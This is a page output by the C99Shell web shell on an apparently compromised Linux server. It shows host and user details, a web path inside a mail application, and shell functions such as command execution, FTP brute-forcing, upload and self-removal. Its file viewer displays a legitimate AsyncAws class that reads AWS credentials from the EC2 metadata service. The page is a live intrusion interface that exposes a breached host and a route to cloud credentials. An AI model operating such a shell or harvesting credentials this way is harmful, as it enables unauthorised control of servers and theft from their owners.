!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picomail.picotech.app/public_html/vendor/async-aws/core/src/Credentials/   drwxr-xr-x
Free 28.69 GB of 117.98 GB (24.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     InstanceProvider.php (4.06 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
AsyncAws\Core\Credentials;

use 
AsyncAws\Core\Configuration;
use 
Psr\Log\LoggerInterface;
use 
Psr\Log\NullLogger;
use 
Symfony\Component\HttpClient\Exception\JsonException;
use 
Symfony\Component\HttpClient\Exception\TransportException;
use 
Symfony\Component\HttpClient\HttpClient;
use 
Symfony\Contracts\HttpClient\Exception\DecodingExceptionInterface;
use 
Symfony\Contracts\HttpClient\Exception\HttpExceptionInterface;
use 
Symfony\Contracts\HttpClient\Exception\TransportExceptionInterface;
use 
Symfony\Contracts\HttpClient\HttpClientInterface;
use 
Symfony\Contracts\HttpClient\ResponseInterface;

/**
 * Provides Credentials from the running EC2 metadata server using the IMDS version 1.
 *
 * @see https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-retrieval.html
 *
 * @author Jérémy Derussé <jeremy@derusse.com>
 */
final class InstanceProvider implements CredentialProvider
{
    private const 
ENDPOINT 'http://169.254.169.254/latest/meta-data/iam/security-credentials';

    private 
$logger;

    private 
$httpClient;

    private 
$timeout;

    public function 
__construct(?HttpClientInterface $httpClient null, ?LoggerInterface $logger nullfloat $timeout 1.0)
    {
        
$this->logger $logger ?? new NullLogger();
        
$this->httpClient $httpClient ?? HttpClient::create();
        
$this->timeout $timeout;
    }

    public function 
getCredentials(Configuration $configuration): ?Credentials
    
{
        try {
            
// Fetch current Profile
            
$response $this->httpClient->request('GET'self::ENDPOINT, ['timeout' => $this->timeout]);
            
$profile $response->getContent();

            
// Fetch credentials from profile
            
$response $this->httpClient->request('GET'self::ENDPOINT '/' $profile, ['timeout' => $this->timeout]);
            
$result $this->toArray($response);

            if (
'Success' !== $result['Code']) {
                
$this->logger->info('Unexpected instance profile.', ['response_code' => $result['Code']]);

                return 
null;
            }
        } catch (
DecodingExceptionInterface $e) {
            
$this->logger->info('Failed to decode Credentials.', ['exception' => $e]);

            return 
null;
        } catch (
TransportExceptionInterface|HttpExceptionInterface $e) {
            
$this->logger->info('Failed to fetch Profile from Instance Metadata.', ['exception' => $e]);

            return 
null;
        }

        if (
null !== $date $response->getHeaders(false)['date'][0] ?? null) {
            
$date = new \DateTimeImmutable($date);
        }

        return new 
Credentials(
            
$result['AccessKeyId'],
            
$result['SecretAccessKey'],
            
$result['Token'],
            
Credentials::adjustExpireDate(new \DateTimeImmutable($result['Expiration']), $date)
        );
    }

    
/**
     * Copy of Symfony\Component\HttpClient\Response::toArray without assertion on Content-Type header.
     */
    
private function toArray(ResponseInterface $response): array
    {
        if (
'' === $content $response->getContent(true)) {
            throw new 
TransportException('Response body is empty.');
        }

        try {
            
$content json_decode($contenttrue512\JSON_BIGINT_AS_STRING | (\PHP_VERSION_ID >= 70300 \JSON_THROW_ON_ERROR 0));
        } catch (
\JsonException $e) {
            
/** @psalm-suppress all */
            
throw new JsonException(sprintf('%s for "%s".'$e->getMessage(), $response->getInfo('url')), $e->getCode());
        }

        if (
\PHP_VERSION_ID 70300 && \JSON_ERROR_NONE !== json_last_error()) {
            
/** @psalm-suppress InvalidArgument */
            
throw new JsonException(sprintf('%s for "%s".'json_last_error_msg(), $response->getInfo('url')), json_last_error());
        }

        if (!
\is_array($content)) {
            
/** @psalm-suppress InvalidArgument */
            
throw new JsonException(sprintf('JSON content was expected to decode to an array, %s returned for "%s".'\gettype($content), $response->getInfo('url')));
        }

        return 
$content;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0083 ]--